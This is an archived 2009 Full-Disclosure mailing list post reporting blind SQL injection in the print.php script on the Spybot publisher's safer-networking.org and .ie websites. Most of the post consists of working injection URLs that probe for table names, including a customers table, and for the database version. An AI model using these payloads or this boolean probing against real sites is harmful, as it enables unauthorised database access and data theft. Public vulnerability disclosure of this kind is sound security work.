lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 11 Dec 2009 15:38:20 +0000 (GMT)
From: VMw4r3 <vmw4r3@...oo.ie>
To: full-disclosure@...ts.grok.org.uk
Subject: Safer-networking.org: (Spybot) Vulnerable to
	Blind SQLi by VMw4r3

Safer-networking.org: (Spybot) Vulnerable to Blind SQLi by VMw4r3

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20INFORMATION_SCHEMA.TABLES%20limit%200,1%29=1 <-- true

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20faq%20limit%200,1%29=1 <-- true

http://www.safer-networking.org/print.php?lang=jp&page=news&lang=jp%20and%20%28select%201%20from%20customers%20limit%200,1%29=1 <-- false

Safer-networking.ie also Vulnerable to Blind SQLi

http://www.safer-networking.ie/print.php?lang=en%20and%20substring%28@@version,1,1%29=4 <-- false

http://www.safer-networking.ie/print.php?lang=en%20and%20substring%28@@version,1,1%29=5 <-- true

http://img263.imageshack.us/img263/267/spybotfalse.png
http://img705.imageshack.us/img705/7976/spybottrue.png

VMw4r3

Send instant messages to your online friends http://uk.messenger.yahoo.com 
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists